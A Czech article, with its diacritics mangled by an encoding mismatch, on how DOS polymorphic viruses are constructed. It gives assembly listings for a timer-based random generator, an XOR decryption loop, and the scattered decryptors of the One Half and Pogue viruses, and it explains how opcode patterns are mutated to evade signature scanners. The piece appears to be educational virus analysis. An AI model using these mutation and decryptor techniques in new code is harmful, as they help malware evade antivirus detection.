Konstrukce polymorfnφch vir∙
Polymorfnφ viry jsou bezesporu nejp°ita₧liv∞jÜφ skupinou vir∙. K≤d, kter² je schopen
poka₧dΘ jin²m zp∙sobem vygenerovat svΘ t∞lo, ji₧ podv∞dom∞ budφ zv∞davost a nabφzφ myÜlenkovou paralelu s
viry biologick²mi. I polymorfnφ virus je vÜak stßle pouh²m programem, kter² pracuje tak, jak byl programßtorem
sestaven. Reverzibilnφ algoritmusK≤der i dek≤der je integrovßn do jednoho mechanismu, pou₧itelnΘho pro oba ·Φely. Reverzibilita b²vß Φasto nejΦast∞ji dosa₧ena pomocφ logickΘ operace xor. Reverzibilnφ algoritmus je v²hradn∞ pou₧φvßn viry semi-polymorfnφmi, jejich₧ k≤dovßnφ je velice primitivnφ a stojφ na hierarchickΘm stupni v²voje pod viry pln∞ polymorfnφmi. Nereverzibilnφ algoritmus
Nereverzibilnφ mechanismus mß separßtn∞ odd∞len² kodΘr i dekodΘ°. K≤dovßnφ je tvo°eno zejmΘna postupn²m a poka₧dΘ
jin²m sklßdßnφm v²poΦtu, kterΘ neumo₧≥uje identickΘ pou₧itφ pro dek≤dovßnφ. Princip implementace polymorfismuVirov² polymorfismus je zalo₧en na dvou zßkladnφch principech instrukΦnφho souboru mikroprocesor∙ °ady INTEL, pou₧φvan²ch v poΦφtaΦφch PC. VÜechny instrukce procesoru majφ definovanou masku s parametrick²m bitov²m polem, kterΘ up°es≥uje pracovnφ operandy. Polymorfnφ viry vyu₧φvajφ prßv∞ tuto podobnost, je₧ jim zaruΦuje prßv∞ stejnß maska pro instrukce podobnΘho v²znamu. P°φmß podobnost instrukcφP°φmß podobnost vyu₧φvß sousednosti instrukcφ v instrukΦnφm souboru. Nap°. hexadecimßlnφ hodnotou b8 zaΦφnß sekce instrukcφ napl≥ujφcφ 16bitov² registr p°φm²m operandem: b8h ... mov ax, "primy operand" b9h ... mov cx, "primy operand" bah ... mov dx, "primy operand" bbh ... mov bx, "primy operand" bch ... mov sp, "primy operand" bdh ... mov bp, "primy operand" beh ... mov si, "primy operand" bfh ... mov di, "primy operand"
Tuto podobnost vyu₧φvß nap°. virus One Half (podrobn∞ji viz dßle) pro v²b∞r dek≤dovacφho registru.
Prost² souΦet hodnoty b8h a hodnoty nßhodnΘho Φφsla v rozsahu 0 a₧ 7 generuje p°φsluÜn² registr. K≤d bch
b²vß viry zapov∞zen, nebo¥ ukazatel na zßsobnφk je z pochopiteln²ch d∙vod∙ tabu. 50h ... push ax 58h ... pop ax 51h ... push cx 59h ... pop cx 52h ... push dx 5ah ... pop dx 53h ... push bx 5bh ... pop bx 54h ... push sp 5ch ... pop sp 55h ... push bp 5dh ... pop bp 56h ... push si 5eh ... pop si 57h ... push di 5fh ... pop di Podobnost skupiny instrukcφV tomto p°φpad∞ se jednß o vφcebajtovΘ instrukce, kdy prvnφ bajt specifikuje skupinu instrukcφ (aritmetickΘ operace, operace posuvu a rotacφ apod.) a a₧ druh² bajt urΦuje samotn² k≤d instrukce. Druh² bajt instrukce mß definovan² bitov² tvar XXYYYZZZ, kde prvnφ dva bity XX udßvajφ m≤d, prost°ednφ t°i bity YYY p°edstavujφ po₧adovanou instrukci a poslednφ t°i bity ZZZ specifikujφ operand (registr Φi pam∞t). Pro polymorfismus jsou d∙le₧itΘ zejmΘna bity YYY aritmetick²ch operacφ, jejich₧ kombinace p°edstavujφ tyto instrukce: 000 ... add 001 ... add 010 ... add 011 ... add 100 ... add 101 ... add 110 ... add 111 ... add Vymaskovßnφ, resp. nastavenφ bit∙ YYY na hodnotu nßhodnΘho Φφsla z intervalu 0 a₧ 7 op∞t generuje p°φsluÜnou instrukci. Generßtor pseudonßhodn²ch Φφsel
SystΘmov² Φas, resp. ΦφtaΦ cykl∙ ΦasovaΦe 8253 pat°φ k zßkladnφm zp∙sob∙m, jak mohou polymorfn∞ zam∞°enΘ viry zφskat "nßhodnou" Φφselnou hodnotu.
╚asovaΦ taktuje ka₧d²ch 55 ms a jeho hodnota je viry zp°φstup≥ovßna zejmΘna p°es port 40h. DalÜφ mo₧nostφ
je ekvivalentnφ p°φmΘ Φtenφ z prom∞nnΘ BIOSu na adrese 0:046c. init_rnd: push dx ; uschova registru push cx push bx mov ah, 2ch ; sluzba "Cti systemovy cas" int 21h ; Obsazeni registru po provedeni sluzby: ; CH ... hodiny (0 az 23) ; CL ... minuty (0 az 59) ; DH ... sekundy (0 az 59) ; DL ... setiny sekund (0 az 99) Pro n∞kterΘ viry je generßtor pseudonßhodn²ch Φφsel tvo°en pouze tφmto volßnφm. Virus Brain nap°. pou₧φvß pro k≤dovßnφ xor-konstantu pouze hodnotu registru dl. Z rozsahu setin sekund je z°ejmΘ, ₧e virus m∙₧e vygenerovat sto r∙zn∞ k≤dovan²ch tvar∙ virovΘho t∞la. in al, 40h ; nacteni casovace mov ah, al in al, 40h ; nacteni casovace xor ax, cx ; rozsireni na cely rozsah cisla integer xor dx, ax ; jmp short rnd_done ; skok na konec generatoru V²poΦet pseudonßhodnΘho Φφsla. get_rnd: push dx ; uschova registru push cx push bx in al, 40h ; nacteni casovace db 05h ; add ax, hodnota patch1 patch1 dw 0 ; prvni rekurentni konstanta db 0bah ; mov dx, hodnota patch2 patch2 dw 0 ; druha rekurentni konstanta mov cx, 7 ; sedmipruchodova rnd_loop: ; smycka shl ax, 1 ; pro rcl dx, 1 ; vypocet mov bl, al ; pseudonahodneho xor bl, dh ; cisla jns lbl ; inc al ; lbl: loop rnd_loop rnd_done: ; ukonceni generovani mov patch1, ax ; naplneni mov patch2, dx ; rekurentnich konstant mov al, dl ; "doladeni" vysledku pop bx ; obnova registru pop cx pop dx retn ; pseudonahodne cislo je v registru AX V t∞le polymorfnφ Φßsti viru je pak generßtor volßn instrukcemi "call init_rnd" pro poΦßteΦnφ nastartovßnφ generßtoru a "call get_rnd" pro zφskßnφ pseudonßhodnΘho Φφsla. ZφskanΘ pseudonßhodnΘ Φφslo je pak pro pot°ebu danΘho maximßlnφho rozsahu 0 a₧ MAX o°ezßno instrukcφ "and ax, MAX", resp. "and al, MAX". Semi-polymorfnφ reverzibilnφ algoritmus
ZnaΦnΘ mno₧stvφ vir∙ vyu₧φvß primitivnφ semi-polymorfnφ techniku k≤dovßnφ prost°ednictvφm logickΘ operace xor,
kterß umo₧nuje zak≤dovat a odk≤dovat dan² ·daj pomocφ stejnΘho klφΦe. ff xor a1 = 5e ... k≤dovßnφ 5e xor a1 = ff ... dek≤dovßnφ Jak je vid∞t, po dvojφ aplikaci stejnΘho k≤dovacφho klφΦe obdr₧φme v²chozφ bajt. U t∞chto vir∙ m∙₧eme nejΦast∞ji nalΘzt tuto typickou posloupnost instrukcφ, plnφcφ funkci dek≤dovacφ rutiny: mov bx, adresa pocatku zakodovaneho tela mov dl, (od)kodovaci xor-konstanta mov cx, delka zakodovaneho tela v bajtech vlasti_smycka: xor cs:[bx], dl ; vlastni odkodovani inc bx ; posun na dalsi zakodovany bajt loop vlastni_smycka
Samoz°ejm∞, m∙₧e se liÜit pou₧itφ n∞kter²ch registr∙ Φi lze p°φpadn∞ dek≤dovat mφsto bajt∙ slova,
ale princip v₧dy z∙stßvß tent²₧. Uvedenß metoda je navφc velice v²hodnß z d∙vodu univerzßlnosti tΘto
rutiny jak pro k≤dovßnφ tak i pro dek≤dovßnφ. Polymorfnφ reverzibilnφ algoritmus
I pro pln∞ polymorfnφ viry je z programßtorskΘho hlediska pro dosa₧enφ reverzibility algoritmu nejsna₧Üφ,
a v podstat∞ i jedinou, mo₧nostφ pou₧itφ logickΘ operace xor. Virus One Half je u nßs jednφm z nejznßm∞jÜφch
p°edstavitel∙ tΘto skupiny. ┌vodnφ dek≤dovacφ smyΦka je slo₧enß nßv∞Ütφ, je₧ ka₧dΘ mß nßsledujφcφ strukturu: start: ; puvodni program (virovy lapac) jmp go db 1536 dup (0) ; velikostni vypln (1536=600h) go: int 20h Infikovan² program, tvo°en² v naÜem p°φpad∞ pouze velikostnφ v²plnφ, je nßv∞Ütφmi dekodΘru tvrd∞ p°epsßn. P°epsanΘ Φßsti jsou uschovßny v zak≤dovanΘm t∞le viru a p°ed pozd∞jÜφm p°edßnφm °φzenφ infikovanΘmu programu virus zajiÜ¥uje jejich obnovu, tak₧e u₧ivatel za b∞₧n²ch okolnostφ nic nepoznß. Tento postup navφc vy°azuje z Φinnosti odvirovacφ programy pracujφcφ na principu univerzßlnφho cleanu. LΘΦba takto zavirovan²ch program∙ b²vß realizovßna zejmΘna jedno·Φelov²mi programy. start: ; zavirovany tvar jmp lbl_5 ; skok na vstupni navesti dekoderu db 542 dup (0) ; cast zavirovaneho programu lbl_1: ; vlastni dekodovani ss: xor [si], di ; xor [indexovaci registr], dekodovaci registr nop jmp lbl_4 db 18 dup (0) ; cast zavirovaneho programu lbl_2: ; otestovani priznaku ukonceni dekodovani jnz lbl_1 ; jne lbl_1 nebo jnz lbl_1 stc cs: std jmp virus_entry ; ukonceni dekodovani db 47 dup (0) ; cast zavirovaneho programu lbl_3: pop ds ; pouze moznost pop ds nop jmp lbl_10 db 71 dup (0) ; cast zavirovaneho programu lbl_4: ; akutualizace dekodovaci konstanty add di, 2eefh ; add dekodovaci registr, konstanta jmp short lbl_6 db 38 dup (0) ; cast zavirovaneho programu lbl_5: push ax ; pouze moznost push ax stc cld jmp lbl_9 db 33 dup (0) ; cast zavirovaneho programu lbl_6: ; posun na dalsi zakodovane slovo ds: stc cs: inc si ; inc indexovaci registr jmp short lbl_7 db 9 dup (0) ; cast infikovaneho programu lbl_7: ; test, je-li vse dekodovano cmp si, 14ddh ; cmp indexovaci registr, ; offset pocatek_zakodovaneho_viru + delka viru jmp lbl_2 db 142 dup (0) ; cast infikovaneho programu lbl_8: ; uvodni naplneni dekodovaciho registru mov di, 0ce3bh ; vyber dekodovaciho registru ax, bx, cx, dx, bp, si, di ; s ohledem na kolizi s indexovacim registrem ; a jeho naplneni pocatecni dekodovaci konstantou cld sti cld jmp lbl_1 db 50 dup (0) ; cast infikovaneho programu lbl_9: cld cmc push ss ; push cs nebo push ss clc jmp lbl_3 db 354 dup (0) ; cast infikovaneho programu lbl_10: ; nastaveni pocatecniho mista pro dekodovani mov si, 705h ; vyber indexovaciho registru bx, si, di ; a jeho naplneni hodnotou offset pocatek_zakodovaneho_viru jmp lbl_8 db 164 dup (0) ; cast infikovaneho programu Velikostnφ souΦet db-v²plnφ infikovanΘho programu Φinφ 1468 bajt∙, zbyl²ch 68 bajt∙ je dΘlka samotnΘho dekodΘru. go: int 20h ; zbytek infikovaneho programu pocatek_zakodovaneho_viru: Zakodovane telo viru One Half Pln∞ polymorfnφ mechanismus, na rozdφl od semi-polymorfnφch p°edch∙dc∙, zcela odsouvß do role statisty antivirovΘ scannery pracujφcφ na principu virov²ch identifikaΦnφch °etezc∙. KlφΦem k detekci polymorfnφch vir∙ je heuristickß metoda anal²zy k≤du programu.
Polymorfnφ nereverzibilnφ algoritmusPodstatou nereverzibilnφch virov²ch mechanism∙ je postupnΘ sklßdßnφ k≤du, resp. pln∞nφ hodnot p°φsluÜn²ch registr∙ provßd∞nφm dφlΦφch instrukcφ. Velice trefn²m p°irovnßnφm jsou populßrnφ puzzle. Nap°. realizovat instrukci "add ax, 2" je mo₧nΘ nep°ebern²m mno₧stvφm variant kombinacφ instrukcφ "inc","add","dec" a "sub": inc ax inc ax add ax,4 inc ax add ax,1 sub ax,2 Stejn∞ tak i plnφcφ instrukci "mov ax, 606h" lze realizovat zaml₧ujφcφm postupem: mov ax, 202h ; AX=202h mov bx, 101h ; BX=101h add ax, bx ; AX=303h shl ax, 1 ; nasobeni dvema => AX=606h
Obdobn²m zp∙sobem mohou nereverzibiln∞ zam∞°enΘ viry modifikovat pou₧itφ skokov²ch instrukcφ prost°ednictvφm skok∙
p°es pomocnß nßv∞Ütφ, p°φp. instrukci cyklu "loop" mohou nahradit posloupnostφ instrukcφ "dec cx" a "jnz navesti_smycky" apod.
Dß se °φci, ₧e mo₧nosti jsou omezeny pouze fantaziφ a schopnostmi virov²ch pisatel∙. start: dec bp ; priznak zavirovaneho souboru jmp dekoder ... infikovany program ... dekoder: mov bp, 0a16ch ; bp=a16c mov cl, 3 ror bp, cl ; bp=942d mov cx, bp mov bp, 856eh ; bp=856e or bp, 740fh ; bp=f56f mov si, bp mov bp, 3b92h ; bp=3b92 add bp, si ; bp=3101 xor bp, cx ; bp=a52c sub bp, 0b10ch ; bp=f420 Uvodnφ Φßst dekodΘru pouze maskuje v²znamov∞ jedinou instrukci "mov bp, 0f420h". Tato hodnota slou₧φ v nßsledujφcφ smyΦce k bßzovΘ Φßsti adresy zak≤dovanΘho t∞la viru. smycka: mov bx, [bp + 0d23h] ; poprve - mov bx, [0143] add bx, 9d64h ; vlastni dekodovani xchg [bp + 0d23h], bx ; a opetovne ulozeni zpracovaneho slova Virus refinovan∞ vyu₧φvß p°eteΦenφ v²sledku souΦtu hodnot bp a 0d23h; nastavenφ p°φznaku CF je v tomto p°φpad∞ nepodstatnΘ. mov bx, 8f31h sub bx, bp ; 9b11 mov bp, 8f33h sub bp, bx ; bp=f422 (tj. add bp,2) jnz smycka Instrukce posunu algoritmu na dalÜφ zak≤dovanΘ slovo ("add bp, 2") je op∞t zamaskovßna. PoΦßteΦnφ bßzovß hodnota f420h nenφ nßhodnß, ale je vybrßna s ohledem na po₧adovan² poΦet 1520 iteracφ, co₧ odpovφdß, vzhledem ke slovnφm operacφm, velikosti 3040 B zak≤dovanΘ Φßsti viru. Hodnota je dßna v²razem (64 kB - f420 + 1) / 2 = 1520. mov bx, bp mov cl, 3 ror bx, cl Zßv∞reΦnß Φßst dekodΘru je slo₧ena z nev²znamn²ch instrukcφ, pomocφ nich₧ virus dosahuje prom∞nnΘ dΘlky svΘho t∞la. Je zajφmavΘ sledovat, ₧e nev²znamn²mi instrukce nejsou pouze jednobajtovΘ instrukce typu "nop" Φi "cmc", ale podstatn∞ komplikovan∞jÜφ konstrukce. segment:0143 ... zakodovana cast tela viru Pogue ... |
||||||